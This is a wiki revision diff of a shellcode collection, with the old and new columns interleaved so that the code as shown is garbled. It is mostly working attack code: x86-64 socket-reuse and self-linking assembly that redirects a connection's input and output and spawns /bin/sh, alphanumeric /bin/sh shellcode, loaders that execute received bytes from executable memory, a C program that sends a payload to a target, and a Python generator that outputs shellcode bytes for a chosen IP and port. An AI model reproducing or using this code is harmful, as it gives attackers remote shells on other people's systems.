		+	addq %rax, %r10                    # r10 should now point to the first string
		+	addq $0x18, %r9
		+
		+	next_symbol:
		+	addq $0x18,%r9
		+	xor %rcx, %rcx
		+	xor %rbp, %rbp
		+	xor %rdi, %rdi
		+	xor (%r9,%rcx,1), %ebp              # %rbp now contains string offset.
		+	cmp %rbp, %rdi
		+	je next_symbol
		+
		+	print_symbol_name:
		+	mov %rbp, %rsi
		+	addq %r10, %rsi                    # %rsi should now be a pointer to a string
		+	push $0x01
		+	pop %rax
		+	push %rax
		+	pop %rdi
		+	call strlen
		+	syscall
		+
		+	push $0x01
		+	pop %rax
		+	push %rax
		+	pop %rdi
		+	push $0x02
		+	pop %rdx
		+	push %r15
		+	pop %rsi
		+	syscall
		+	jmp next_symbol
		+	</source>}}
		+
		+	= [[Shellcode/Dynamic|Dynamic]] =
		+
		+	'''Documentation''': [[Shellcode/Dynamic|dynamic shellcode]]
		+
		+	'''See also''': [[Shellcode/Environment|environmental documentation]], [[#Environment|environmental shellcode]], [[Shellcode/Self-modifying|self-modifying documentation]], [[#Self-modifying|self-modifying shellcode]]
		+
		+	== poly-linker-fd-reuse.s ==
		+	'''Description''': Polymorphic self-linking file descriptor reuse shellcode
		+
	{{code|text=<source lang="asm"># 268 bytes		{{code|text=<source lang="asm"># 268 bytes
Line 643:		Line 1,057:
	jne find_base		jne find_base
−	jmp jmp_to_start	+	jmp startup
−	exit:
−	push $0x696c4780
−	pop %rsi
−	call *%rcx
−	xor %rdi, %rdi
−	call *%rbp
−
	__initialize_world:		__initialize_world:
−	pop %rcx	+	pop %rcx
−		+	jmp _world
−	xor %esi, %esi	+
−	movl $0xf8cc01f7, %esi  # getpeername() is in %rsi	+
−	call *%rcx	+
−	push $0x02	+
−	pop %rdi	+
−		+
−	make_fd_struct:	+
−	lea -0x14(%rsp), %rdx	+
−	movb $0x10, (%rdx)	+
−	lea 0x4(%rdx), %rsi # move struct into rsi	+
−		+
−	loop:	+
−	inc %di	+
−	jz exit	+
−		+
−	stack_fix:	+
−	lea 0x14(%rdx), %rsp	+
−		+
−	get_peer_name:	+
−	sub $0x20, %rsp	+
−	push %rcx	+
−	call *%rbp	+
−	pop %rcx	+
−		+
−	check_pn_success:	+
−	test %al, %al	+
−	jne loop	+
−		+
−	jmp pass	+
−	jmp_to_start:	+
−	jmp startup	+
−	pass:	+
−		+
−	# If we make it here, rbx and rax are 0	+
−	check_ip:	+
−	push $0x1b	+
−	pop %r8	+
−	mov $0xfeffff80, %eax	+
−	cmpl %eax, (%rsp,%r8,4)	+
−	jne loop	+
−		+
−	check_port:	+
−	movb $0x35, %r8b	+
−	mov $0x2dfb, %ax	+
−	cmpw %ax,(%rsp, %r8 ,2) # (%rbp,%rsi,2)	+
−	jne loop	+
−		+
−	push $0x70672750	+
−	pop %rsi	+
−	call *%rcx	+
−		+
−	reuse:	+
−	xor %rdx, %rdx	+
−	push %rdx	+
−	push %rdx	+
−	pop %rsi	+
−		+
−	dup_loop:      # redirect stdin, stdout, stderr to socket	+
−	push %rcx	+
−	call *%rbp	+
−	pop %rcx	+
−	inc %esi	+
−	cmp $0x4, %esi	+
−	jne dup_loop	+
−		+
−	movl $0xf66bbb37, %esi	+
−	call *%rcx	+
−		+
−	xor %rdi, %rdi	+
−	push %rdi	+
−	push %rdi	+
−	pop %rsi	+
−	pop %rdx                      # Null out %rdx and %rdx (second and third argument)	+
−	mov $0x68732f6e69622f6a,%rdi  # move 'hs/nib/j' into %rdi	+
−	shr $0x8,%rdi                  # null truncate the backwards value to '\0hs/nib/'	+
−	push %rdi	+
−	push %rsp	+
−	pop %rdi                      # %rdi is now a pointer to '/bin/sh\0'	+
−		+
−	call *%rbp	+
−		+
	# at this point, the base pointer of libc is in %rbx		# at this point, the base pointer of libc is in %rbx
	startup:		startup:
	call __initialize_world		call __initialize_world
−		+
−		+
	################		################
	#		#
−	#  Takes a function hash in %rsi and base pointer in %rbx	+	#  Takes a function hash in %rbp and base pointer in %rbx
		+	#  >Parses the dynamic section headers of the ELF64 image
		+	#  >Uses ROP to invoke the function on the way back to the
		+	#  -normal return location
	#		#
−	#  returns a function pointer in %rbp	+	#  Returns results of function to invoke.
	#		#
−	find_function:	+	invoke_function:
		+	push %rbp
		+	push %rbp
	push %rdx		push %rdx
	xor %rdx, %rdx		xor %rdx, %rdx
Line 754:		Line 1,086:
	push %rbx		push %rbx
	push %rsi		push %rsi
		+	push %rbp
	pop %rdi		pop %rdi
Line 759:		Line 1,092:
	push %rbx		push %rbx
	pop %rbp		pop %rbp
−		+
	push $0x4c		push $0x4c
	pop %rax		pop %rax
	add (%rbx, %rax, 4), %rbx		add (%rbx, %rax, 4), %rbx
−		+
	check_dynamic_type:		check_dynamic_type:
	add $0x10, %rbx		add $0x10, %rbx
Line 799:		Line 1,132:
	push %rdx		push %rdx
	pop %rsi		pop %rsi
−		+
	pop %rdx		pop %rdx
	pop %rax		pop %rax
−		+
	cmp %esi, %edi		cmp %esi, %edi
−		+
	jne check_next_hash		jne check_next_hash
	found_hash:		found_hash:
	add 0x8(%rbx,%rdx,4), %rbp		add 0x8(%rbx,%rdx,4), %rbp
		+	mov %rbp, 0x30(%rsp)
		+	pop %rsi
	pop %rbx		pop %rbx
	pop %rax		pop %rax
	pop %rdi		pop %rdi
	pop %rdx		pop %rdx
		+	pop %rbp
	ret		ret
		+
		+	exit:
		+	push $0x696c4780
		+	pop %rbp
		+	xor %rdi, %rdi
		+	call *%rcx
		+
		+	_world:
		+	movl $0xf8cc01f7, %ebp  # getpeername() is in %rbp
		+	push $0x02
		+	pop %rdi
		+
		+	make_fd_struct:
		+	lea -0x14(%rsp), %rdx
		+	movb $0x10, (%rdx)
		+	lea 0x4(%rdx), %rsi # move struct into rsi
		+
		+	loop:
		+	inc %di
		+	jz exit
		+
		+	stack_fix:
		+	lea 0x14(%rdx), %rsp
		+
		+	get_peer_name:
		+	sub $0x20, %rsp
		+	push %rcx
		+	call *%rcx
		+	pop %rcx
		+
		+	check_pn_success:
		+	test %al, %al
		+	jne loop
		+
		+	# If we make it here, rbx and rax are 0
		+	check_ip:
		+	push $0x1b
		+	pop %r8
		+	mov $0xfeffff80, %eax
		+	cmpl %eax, (%rsp,%r8,4)
		+	jne loop
		+
		+	check_port:
		+	movb $0x35, %r8b
		+	mov $0x2dfb, %ax
		+	cmpw %ax,(%rsp, %r8 ,2) # (%rbp,%rsi,2)
		+	jne loop
		+
		+	push $0x70672750
		+	pop %rbp
		+
		+	reuse:
		+	xor %rdx, %rdx
		+	push %rdx
		+	push %rdx
		+	pop %rsi
		+
		+	dup_loop:      # redirect stdin, stdout, stderr to socket
		+	push %rcx
		+	call *%rcx
		+	pop %rcx
		+	inc %esi
		+	cmp $0x4, %esi
		+	jne dup_loop
		+
		+	movl $0xf66bbb37, %ebp
		+
		+	xor %rdi, %rdi
		+	push %rdi
		+	push %rdi
		+	pop %rsi
		+	pop %rdx                      # Null out %rdx and %rdx (second and third argument)
		+	mov $0x68732f6e69622f6a,%rdi  # move 'hs/nib/j' into %rdi
		+	shr $0x8,%rdi                  # null truncate the backwards value to '\0hs/nib/'
		+	push %rdi
		+	push %rsp
		+	pop %rdi                      # %rdi is now a pointer to '/bin/sh\0'
		+
		+	call *%rcx
	</source>}}		</source>}}
−	== ./dynamic/linker-fd-reuse.s ==	+	== linker-fd-reuse.s ==
−	{{code|text=<source lang="asm">.section .data	+	'''Description''': Self-linking file descriptor reuse shellcode
		+
		+	{{code|text=<source lang="asm"># 268 bytes
		+	.section .data
	.section .text		.section .text
	.global _start		.global _start
Line 1,000:		Line 1,418:
	movl $0xf66bbb37, %ebp		movl $0xf66bbb37, %ebp
−	xor %rdi, %rdi	+	pop %rdi
	push %rdi		push %rdi
	push %rdi		push %rdi
Line 1,013:		Line 1,431:
	call *%rcx		call *%rcx
	</source>}}		</source>}}
−	== ./dynamic/linked-exit.s ==	+
		+	== linked-exit.s ==
		+	'''Description''': Self-linking exit shellcode
		+
	{{code|text=<source lang="asm"># 135 bytes		{{code|text=<source lang="asm"># 135 bytes
Line 1,042:		Line 1,463:
	pop %rcx		pop %rcx
	jmp _world		jmp _world
−		+
	# at this point, the base pointer of libc is in %rbx		# at this point, the base pointer of libc is in %rbx
Line 1,048:		Line 1,469:
	call __initialize_world		call __initialize_world
−
	################		################
	#		#
−	#  Takes a function hash in %rsi and base pointer in %rbx	+	#  Takes a function hash in %rbp and base pointer in %rbx
		+	#  >Parses the dynamic section headers of the ELF64 image
		+	#  >Uses ROP to invoke the function on the way back to the
		+	#  -normal return location
	#		#
−	#  returns a function pointer in %rbp	+	#  Returns results of function to invoke.
	#		#
−	find_function:	+	invoke_function:
		+	push %rbp
		+	push %rbp
	push %rdx		push %rdx
	xor %rdx, %rdx		xor %rdx, %rdx
Line 1,068:		Line 1,493:
	push %rbx		push %rbx
	pop %rbp		pop %rbp
−		+
	push $0x4c		push $0x4c
	pop %rax		pop %rax
	add (%rbx, %rax, 4), %rbx		add (%rbx, %rax, 4), %rbx
−		+
	check_dynamic_type:		check_dynamic_type:
	add $0x10, %rbx		add $0x10, %rbx
Line 1,087:		Line 1,512:
	pop %rsi		pop %rsi
	xorw (%rbx), %si		xorw (%rbx), %si
−
	add %rax, %rsi		add %rax, %rsi
Line 1,109:		Line 1,533:
	push %rdx		push %rdx
	pop %rsi		pop %rsi
−		+
	pop %rdx		pop %rdx
	pop %rax		pop %rax
−		+
	cmp %esi, %edi		cmp %esi, %edi
−		+
	jne check_next_hash		jne check_next_hash
	found_hash:		found_hash:
	add 0x8(%rbx,%rdx,4), %rbp		add 0x8(%rbx,%rdx,4), %rbp
		+	mov %rbp, 0x30(%rsp)
	pop %rsi		pop %rsi
	pop %rbx		pop %rbx
Line 1,124:		Line 1,549:
	pop %rdi		pop %rdi
	pop %rdx		pop %rdx
−	push %rbp	+	pop %rbp
	ret		ret
Line 1,132:		Line 1,557:
	xor %rdi, %rdi		xor %rdi, %rdi
	call *%rcx		call *%rcx
−	</source>}}
−	== ./alphanumeric/architecture_detection ==
−	TX4HPZTAZAYVH92
−	== ./alphanumeric/ascii_binsh.s ==
−	{{code|text=<source lang="asm"># 111 bytes
−	.global _start
−	.text
−	_start:
−	# Set %rcx as stack pointer
−	# and align %rsp
−	push $0x5a
−	push %rsp
−	pop %rcx
−	pop %rax
−
−	# Get magic offset and store in %rdi
−	xor $0x55, %al
−	push %rax                      # 0x14 on the stack now.
−	pop %rax                        # add back to %esp
−	imul  $0x41, (%rcx), %edi      # %rdi = 0x3cf, a "magic offset" for us
−	# This is decimal value 975.
−	# If this is too low/high, suggest a
−	# modification to xor of %al for
−	# changing the imul results
−
−	# Write the syscall
−	movslq (%rcx,%rdi,1), %rsi
−	xor %esi, (%rcx,%rdi,1)        # 4 bytes have been nulled
−	push $0x3030474a
−	pop %rax
−	xor $0x30304245, %eax
−	push %rax
−	pop %rax                        # Garbage reg
−	movslq (%rcx), %rsi
−	xor %esi, (%rcx,%rdi,1)
−
−	# Sycall written, set values now.
−	# allocate 8 bytes for '/bin/sh\0'
−	movslq 0x30(%rcx), %rsi
−	xor %esi, 0x30(%rcx)
−	movslq 0x34(%rcx), %rsi
−	xor %esi, 0x34(%rcx)
−
−	# Zero rdx, rsi, and rdi
−	movslq 0x30(%rcx), %rdi
−	movslq 0x30(%rcx), %rsi
−	push %rdi
−	pop %rdx
−
−	# Store '/bin/sh\0' in %rdi
−	push $0x5a58555a
−	pop %rax
−	xor $0x34313775, %eax
−	xor %eax, 0x30(%rcx)            # '/bin'  just went onto the stack
−
−	push $0x6a51475a
−	pop %rax
−	xor $0x6a393475, %eax
−	xor %eax, 0x34(%rcx)            # '/sh\0' just went onto the stack
−	xor 0x30(%rcx), %rdi            # %rdi now contains '/bin/sh\0'
−
−
−	pop %rax
−	push %rdi
−
−	push $0x58
−	movslq (%rcx), %rdi
−	xor (%rcx), %rdi                # %rdi zeroed
−	pop %rax
−	push %rsp
−	xor (%rcx), %rdi
−	xor $0x63, %al
	</source>}}		</source>}}
−	= Loaders =
−	== ./loaders/dynamic-loader.c ==
−	{{code|text=<source lang="c">#include <stdio.h>
−	#include <sys/mman.h>
−	#include <string.h>
−	int main(int argc, char *argv[])	+	= Generators =
−	{	+
−	int (*fp)();	+
−	void *mem = mmap(0, 0x1000, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS, 0, 0);	+
−	memcpy(mem, argv[1], strlen(argv[1]));	+
−	fp = (int(*)())mem;	+
−	(int)(*fp)();	+
−	}	+
−	</source>}}	+
−	== ./loaders/socket-loader.c ==	+	'''See also''': [[Shellcode/Socket-reuse|socket-reuse documentation]], [[#Socket-reuse|socket-reuse shellcode]], [[Shellcode/Self-modifying|self-modifying documentation]], [[Shellcode/Self-modifying|self-modifying shellcode]], [[Shellcode/Dynamic|dynamic documentation]], [[Shellcode/Dynamic|dynamic shellcode]]
−	{{code|text=<source lang="c">/* A simple server in the internet domain using TCP	+
−	The port number is passed as an argument */	+
−	#include <stdio.h>	+
−	#include <stdlib.h>	+
−	#include <string.h>	+
−	#include <sys/mman.h>	+
−	#include <unistd.h>	+
−	#include <sys/types.h>	+
−	#include <sys/socket.h>	+
−	#include <netinet/in.h>	+
−	void error(const char *msg)	+	== socket-reuse-generator.py ==
−	{	+	'''Description''': Socket-reuse shellcode generator
−	perror(msg);	+
−	exit(1);	+
−	}	+
−	void execute(char *buffer)	+	{{code|text=<source lang="python">
−	{	+	#!/usr/bin/python2.7
−	printf("Executing\n");	+	import re, sys, socket, struct
−	printf("%d\n", strlen(buffer));	+
−	int (*fp)();	+
−	void *mem = mmap(0, 0x1000, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS, 0, 0);	+
−	memcpy(mem, buffer, strlen(buffer));	+
−	fp = (int(*)())mem;	+
−	(int)(*fp)();	+
−	}	+
−	int main(int argc, char *argv[])	+	if len(sys.argv) < 3:
−	{	+	print("Usage: " + sys.argv[0] + " <source IP> <source port> [dynamic]")
−	int sockfd, newsockfd, portno;	+	exit()
−	socklen_t clilen;	+
−	char buffer[1024];	+
−	struct sockaddr_in serv_addr, cli_addr;	+
−	int n;	+
−	if (argc < 2) {	+
−	fprintf(stderr,"ERROR, no port provided\n");	+
−	exit(1);	+
−	}	+
−	sockfd = socket(AF_INET, SOCK_STREAM, 0);	+
−	if (sockfd < 0)	+
−	error("ERROR opening socket");	+
−	bzero((char *) &serv_addr, sizeof(serv_addr));	+
−	portno = atoi(argv[1]);	+
−	serv_addr.sin_family = AF_INET;	+
−	serv_addr.sin_addr.s_addr = INADDR_ANY;	+
−	serv_addr.sin_port = htons(portno);	+
−	if (bind(sockfd, (struct sockaddr *) &serv_addr,	+
−	sizeof(serv_addr)) < 0)	+
−	error("ERROR on binding");	+
−	listen(sockfd,5);	+
−	clilen = sizeof(cli_addr);	+
−	newsockfd = accept(sockfd, (struct sockaddr *) &cli_addr, &clilen);	+
−	if (newsockfd < 0)	+
−	error("ERROR on accept");	+
−	bzero(buffer,1024);	+
−	n = read(newsockfd,buffer,1024);	+
−	execute(buffer);	+	standard_shellcode = \
		+	"\\xeb\\x05\\x6a\\x3c\\x58\\x0f\\x05\\x6a\\x02\\x5f\\x48\\x8d\\x54\\x24\\xec\\xc6" \
		+	"\\x02\\x10\\x48\\x8d\\x72\\x04\\xff\\xc7\\x66\\x85\\xff\\x74\\xe5\\x48\\x8d\\x62" \
		+	"\\x14\\x48\\x83\\xec\\x20\\x6a\\x34\\x58\\x0f\\x05\\x84\\xc0\\x75\\xe8\\x6a\\x1b" \
		+	"\\x59\\xbb%s\\xf7\\xd3\\x39\\x1c\\x8c\\x75\\xd9\\xb1\\x35\\x66\\xbb%s\\x66\\xf7" \
		+	"\\xd3\\x66\\x39\\x1c\\x4c\\x75\\xca\\x50\\x5e\\x6a\\x21\\x58\\x0f\\x05\\xff\\xc6" \
		+	"\\x83\\xfe\\x04\\x75\\xf4\\x5f\\x57\\x57\\x5e\\x5a\\x48\\xbf\\x6a\\x2f\\x62\\x69" \
		+	"\\x6e\\x2f\\x73\\x68\\x48\\xc1\\xef\\x08\\x57\\x54\\x5f\\x6a\\x3b\\x58\\x0f\\x05"
−	close(newsockfd);	+	dynamic_shellcode = \
−	close(sockfd);	+	"\\x68\\xff\\x30\\x01\\x40\\x5b\\xc1\\xeb\\x08\\x48\\x8b\\x0b\\x48\\x03\\x4b\\x10" \
−	return 0;	+	"\\x48\\x8b\\x59\\x20\\x48\\xff\\xcb\\x81\\x3b\\x7f\\x45\\x4c\\x46\\x75\\xf5\\xeb" \
−	}	+	"\\x03\\x59\\xeb\\x6a\\xe8\\xf8\\xff\\xff\\xff\\x55\\x55\\x52\\x48\\x31\\xd2\\x57" \
−	</source>}}	+	"\\x50\\x53\\x56\\x55\\x5f\\x53\\x5d\\x6a\\x4c\\x58\\x48\\x03\\x1c\\x83\\x48\\x83" \
		+	"\\xc3\\x10\\x80\\x3b\\x05\\x75\\xf7\\x48\\x8b\\x43\\x08\\x48\\x8b\\x5b\\x18\\x48" \
		+	"\\x83\\xc3\\x18\\x52\\x5e\\x66\\x33\\x33\\x48\\x01\\xc6\\x50\\x52\\x52\\x58\\xfc" \
		+	"\\xac\\xc1\\xc2\\x0c\\x01\\xc2\\x84\\xc0\\x75\\xf6\\x52\\x5e\\x5a\\x58\\x39\\xf7" \
		+	"\\x75\\xdd\\x48\\x03\\x6c\\x93\\x08\\x48\\x89\\x6c\\x24\\x30\\x5e\\x5b\\x58\\x5f" \
		+	"\\x5a\\x5d\\xc3\\x68\\x80\\x47\\x6c\\x69\\x5d\\x48\\x31\\xff\\xff\\xd1\\xbd\\xf7" \
		+	"\\x01\\xcc\\xf8\\x6a\\x02\\x5f\\x48\\x8d\\x54\\x24\\xec\\xc6\\x02\\x10\\x48\\x8d" \
		+	"\\x72\\x04\\x66\\xff\\xc7\\x74\\xdc\\x48\\x8d\\x62\\x14\\x48\\x83\\xec\\x20\\x51" \
		+	"\\xff\\xd1\\x59\\x84\\xc0\\x75\\xeb\\x6a\\x1b\\x41\\x58\\xb8%s\\xf7\\xd0\\x42" \
		+	"\\x39\\x04\\x84\\x75\\xda\\x41\\xb0\\x35\\x66\\xb8%s\\xf7\\xd0\\x66\\x42\\x39" \
		+	"\\x04\\x44\\x75\\xca\\x68\\x50\\x27\\x67\\x70\\x5d\\x48\\x31\\xd2\\x52\\x52\\x5e" \
		+	"\\x51\\xff\\xd1\\x59\\xff\\xc6\\x83\\xfe\\x04\\x75\\xf5\\xbd\\x37\\xbb\\x6b\\xf6" \
		+	"\\x48\\x31\\xff\\x57\\x57\\x5e\\x5a\\x48\\xbf\\x6a\\x2f\\x62\\x69\\x6e\\x2f\\x73" \
		+	"\\x68\\x48\\xc1\\xef\\x08\\x57\\x54\\x5f\\xff\\xd1"
−	== ./loaders/loader-64.s ==	+	if len(sys.argv) == 4 and sys.argv[3] == "dynamic":
−	{{code|text=<source lang="asm"># 79 bytes	+	shellcode = dynamic_shellcode
		+	else:
		+	shellcode = standard_shellcode
−	.section .data	+	convert = lambda x: ''.join(['\\x%.2x' % (ord(char) ^ 0xff) for char in x])
−	.section .text	+	ip_addr = convert(socket.inet_aton(sys.argv[1]))
−	.globl _start	+	port_no = convert(struct.pack("!H", int(sys.argv[2])))
−		+	shellcode = shellcode % (ip_addr, port_no)
−	_start:	+
−	pop %rbx  # argc	+
−	pop %rbx  # arg0	+
−	pop %rbx  # arg1 pointer	+
−	push $0x9	+	for lin in re.findall(".?"*64, shellcode):
−	pop %rax	+	if lin != "":
−		+	print("\"" + lin + "\"")
−	xor %rdi, %rdi	+	</source>}}
−	push %rdi	+
−	pop %rsi	+
−	inc %rsi	+
−	shl $0x12, %rsi	+
−	push $0x7	+
−	pop %rdx	+
−	push $0x22	+
−	pop %r10	+
−		+
−	push %rdi	+
−	push %rdi	+
−	pop %r8	+
−	pop %r9	+
−		+
−	syscall  # The syscall for the mmap().	+
−	inject:	+	== shellcode-generator.py ==
−	xor %rsi, %rsi	+	'''Description''': Nicely assemble and output shellcode in a variety of formats (raw, hex, and as a C variable)
−	push %rsi	+
−	pop %rdi	+
−		+
−	inject_loop:	+
−	cmpb %dil, (%rbx, %rsi, 1)	+
−	je inject_finished	+
−	movb (%rbx, %rsi, 1), %r10b	+
−	movb %r10b, (%rax,%rsi,1)	+
−	inc %rsi	+
−	jmp inject_loop	+
−		+
−	ret_to_shellcode:	+
−	push %rax	+
−	ret	+
−		+
−	inject_finished:	+
−	inc %rsi	+
−	movb $0xc3, (%rax, %rsi, 1)	+
−	call ret_to_shellcode	+
−	exit:	+	{{code|text=<source lang="python">
−	push $60	+	#!/usr/bin/python2
−	pop %rax	+	import os
−	xor %rdi, %rdi	+	import re
−	syscall	+	import argparse
−	</source>}}	+
−	== ./loaders/loader-32.s ==	+
−	{{code|text=<source lang="asm">	+
−	# 66 bytes	+
−	.section .data	+	def detect_file_type(path):
		+	file_type = os.popen("file %s" % path).read(200)
		+	if "assembler" in file_type:
		+	return 0
		+	elif "ELF" in file_type:
		+	return 1
		+	else:
		+	print "Incompatible file type, quitting."
		+	exit()
−	.section .text	+	def extract(path):
		+	if not detect_file_type(path):
		+	orig_path = path
		+	path = path.split(".")[0]
		+	if os.system("as -o %s.o %s" % (path, orig_path)) == 1:
		+	print " [!] Assembly failed."
		+	exit()
		+	if os.system("ld -o %s %s.o" % (path, path)) == 1:
		+	print " [!] Linking failed."
		+	exit()
−	.global _start	+	shellcode = ""
		+	for line in os.popen("objdump -d %s" % path).readlines():
		+	for byte in line.split():
		+	if re.match("^[a-f0-9][a-f0-9]$", byte):
		+	shellcode += chr(int(byte, 16))
−	_start:	+	return shellcode
−	pop %edi	+
−	pop %edi	+
−	pop %edi                      #get arg1 pointer (shellcode)	+
−	push $90	+	if __name__=="__main__":
−	pop %eax                      #mmap() syscall number	+	parser = argparse.ArgumentParser()
		+	parser.add_argument('--file', required=True)
		+	parser.add_argument('--hex', action='store_true', help="Output in hex format (\\x0f\\x05)")
		+	parser.add_argument('--raw', action='store_true', help="Output in raw format")
		+	parser.add_argument('--var', action='store_true', help="Output as a variable")
		+	parser.add_argument('--len', action='store_true', help="Output the length")
		+	args = parser.parse_args()
−	xor %ebx, %ebx	+	shellcode = extract(args.file)
−	push %ebx	+
−	push %ebx                    #args 5/6 (null)	+
−	push $0x22                    #arg 4	+	if args.hex or args.var:
−	push $0x7                    #arg 5	+	tmp = ''.join(["\\x%.2x" % ord(byte) for byte in shellcode])
−		+
−	push %ebx	+
−	pop %ecx	+
−	inc %ecx	+
−	shl $0x12, %ecx	+
−	push %ecx                    #arg2 (0x1000)	+
−	push %ebx                    #arg1 (null)	+	if args.var:
		+	tmp2 = "char shellcode[] = {\n"
		+	for line in re.findall(".?"*64, tmp):
		+	if line != "":
		+	tmp2 += "  \"%s\" \n" % line
		+	tmp = tmp2 + "};"
−	mov %esp, %ebx                #move pointer to args to ebx for mmap()	+	print tmp
−	int $0x80	+
		+	elif args.raw:
		+	print shellcode
−	inject:	+	else:
−	xor %esi, %esi	+	parser.print_help()
−	push %esi	+	exit()
−	pop %edx                      #zero out esi and edx	+
−	inject_loop:	+	if args.len:
−	cmpb %dl, (%edi, %esi, 1)	+	print " [*] Length: %d bytes" % len(shellcode)
−	je inject_finished	+	</source>}}
−	movb (%edi, %esi, 1), %cl	+
−	movb %cl, (%eax, %esi, 1)	+
−	inc %esi	+
−	jmp inject_loop              #places shellcode into mmap() memory	+
−	ret_to_shellcode:	+	== hash-generator.s ==
−	push %eax                    #pushes mmap memory address and returns to it	+	'''Description''': Hash generator for self-linking shellcode
−	ret	+
−	inject_finished:	+	{{code|text=<source lang="asm">
−	inc %esi	+	# 81 bytes
−	movb $0xc3, (%eax, %esi, 1)  #adds ret to the code code so that loader can exit	+
−	call ret_to_shellcode	+
−	exit:	+	.text
−	xor %eax, %eax	+
−	mov %eax, %ebx	+
−	inc %eax	+
−	int $0x80               #exit	+
−	</source>}}	+
−	= Socket-reuse =	+
−	== ./socket-reuse/socket-reuse.as ==	+
−	{{code|text=<source lang="asm"># 119 bytes	+
−	.section .data	+
−	.section .text	+
	.globl _start		.globl _start
	_start:		_start:
−	jmp start	+	jmp startup
−	exit:	+	calc_hash:
−	push $0x3c	+	push %rax
−	pop %rax	+	push %rdx
−	syscall	+
−	start:	+	initialize_regs:
−	push $0x02	+	push %rdx
−	pop %rdi	+	pop %rax
		+	cld
−	make_fd_struct:	+	calc_hash_loop:
−	lea -0x14(%rsp), %rdx	+	lodsb
−	movb $0x10, (%rdx)	+	rol $0xc, %edx
−	lea 0x4(%rdx), %rsi # move struct into rsi	+	add %eax, %edx
		+	test %al, %al
		+	jnz calc_hash_loop
−	loop:	+	calc_done:
−	inc %edi	+	push %rdx
−	test %di, %di # loop until 65535 then exit	+	pop %rsi
−	je exit	+
−	stack_fix:	+	pop %rdx
−	lea 0x14(%rdx), %rsp	+	pop %rax
		+	ret
−	get_peer_name:	+	startup:
−	sub $0x20, %rsp	+	pop %rax
−	push $0x34	+
	pop %rax		pop %rax
−	syscall
−
−	check_pn_success:
−	test %al, %al
−	jne loop
−
−	# If we make it here, rbx and rax are 0
−	check_ip:
−	push $0x1b
−	pop %rcx
−	mov $0xfeffff80, %ebx
−	xor $0xffffffff, %ebx
−	cmpl %ebx, (%rsp,%rcx,4)
−	jne loop
−
−	check_port:
−	movb $0x35, %cl
−	mov $0x2dfb, %bx
−	xor $0xffff, %bx
−	cmpw %bx,(%rsp, %rcx ,2) # (%rbp,%rsi,2)
−	jne loop
−
−	reuse:
−	push %rax
	pop %rsi		pop %rsi
−	dup_loop:      # redirect stdin, stdout, stderr to socket	+	xor %rdx, %rdx
−	push $0x21	+	call calc_hash
−	pop %rax	+
−	syscall	+
−	inc %esi	+
−	cmp $0x4, %esi	+
−	jne dup_loop	+
−	execve:	+	push %rsi
−	pop %rdi	+	mov %rsp, %rsi
−	push %rdi	+
−	push %rdi	+
−	pop %rsi	+
−	pop %rdx                      # Null out %rdx and %rdx (second and third argument)	+
−	mov $0x68732f6e69622f6a,%rdi  # move 'hs/nib/j' into %rdi	+
−	shr $0x8,%rdi                  # null truncate the backwards value to '\0hs/nib/'	+
−	push %rdi	+
−	push %rsp	+
−	pop %rdi                      # %rdi is now a pointer to '/bin/sh\0'	+
−	push $0x3b	+
−	pop %rax                      # set %rax to function # for execve()	+
−	syscall                        # execve('/bin/sh',null,null);	+
−	</source>}}	+
−	== ./socket-reuse/socket-reuse-send.c ==	+	push %rdx
−	{{code|text=<source lang="C">#include <sys/socket.h>	+
−	#include <stdio.h>	+
−	#include <stdlib.h>	+
−	#include <unistd.h>	+
−	#include <string.h>	+
−	#include <sys/types.h>	+
−	#include <netinet/in.h>	+
−	#include <netdb.h>	+
−	char shellcode[] = {	+	mov %rsp, %rcx
−	"\xeb\x05\x6a\x3c\x58\x0f\x05\x6a\x02\x5f\x48\x8d\x54\x24\xec\xc6"	+
−	"\x02\x10\x48\x8d\x72\x04\x66\xff\xc7\x74\xe7\x48\x8d\x62\x14\x48"	+
−	"\x83\xec\x20\x6a\x34\x58\x0f\x05\x84\xc0\x75\xea\x6a\x1b\x59\xbb"	+
−	"\x53\xef\x2a\xfe\xf7\xd3\x39\x1c\x8c\x75\xdb\xb1\x35\x66\xfb\xfe"	+
−	"\xff\xf7\xd3\x66\x39\x1c\x4c\x75\xcd\x50\x50\x5e\x6a\x21\x58\x0f"	+
−	"\x05\xff\xc6\x83\xfe\x04\x75\xf4\x5f\x57\x57\x5e\x5a\x48\xbf\x6a"	+
−	"\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54\x5f\x6a\x3b"	+
−	"\x58\x0f\x05"	+
−	};	+
		+	mov $0x4, %rdi
		+	loop:
		+	dec %rdi
		+	movb (%rsi,%rdi,1), %al
		+	movb %al, (%rcx,%rdx,1)
		+	inc %rdx
		+	cmp %rdi, %r10
		+	jnz loop
−	void error(char *err)	+	mov %rcx, %rsi
−	{	+
−	perror(err);	+
−	exit(0);	+
−	}	+
−	int main(int argc, char *argv[])	+	inc %rdi
−	{	+	mov %rdi, %rax
−	struct sockaddr_in serv_addr, bind_addr;	+
−	struct hostent* server, *bind_add;	+
−	char buf[1024], inbuf[1024];	+
−	int port = atoi(argv[2]);	+
−	int bport = atoi(argv[4]);	+
−	int sock = socket(AF_INET, SOCK_STREAM, 0);	+
−	if (sock < 0)	+	syscall
−	error("Error: socket(): ");	+
−	bind_add = gethostbyname((char *)argv[3]);	+	mov $0x3c, %rax
−	bzero((char *) &bind_addr, sizeof(bind_addr));	+	dec %rdi
−	bind_addr.sin_family = AF_INET;	+
−	bcopy((char *)bind_add->h_addr, (char *)&bind_addr.sin_addr.s_addr, bind_add->h_length);	+
−	bind_addr.sin_port = htons(bport);	+
−	if (bind(sock,(struct sockaddr *) &bind_addr,sizeof(bind_addr)) < 0)	+	syscall
−	error("Error: bind(): ");	+
−		+
−	server = gethostbyname(argv[1]);	+
−	bzero((char *) &serv_addr, sizeof(serv_addr));	+
−	serv_addr.sin_family = AF_INET;	+
−	bcopy((char *)server->h_addr, (char *)&serv_addr.sin_addr.s_addr, server->h_length);	+
−	serv_addr.sin_port = htons(port);	+
−		+
−	printf("Connecting to %s\n", argv[1]);	+
−	if (connect(sock,(struct sockaddr *) &serv_addr,sizeof(serv_addr)) < 0)	+
−	error("Error: connect(): ");	+
−		+
−	printf("Sending payload\n");	+
−	if (send(sock, shellcode, strlen(shellcode), MSG_NOSIGNAL) < 0)	+
−	error("Error: write(): ");	+
−		+
−	while(fgets(buf, 1024, stdin) != NULL)	+
−	{	+
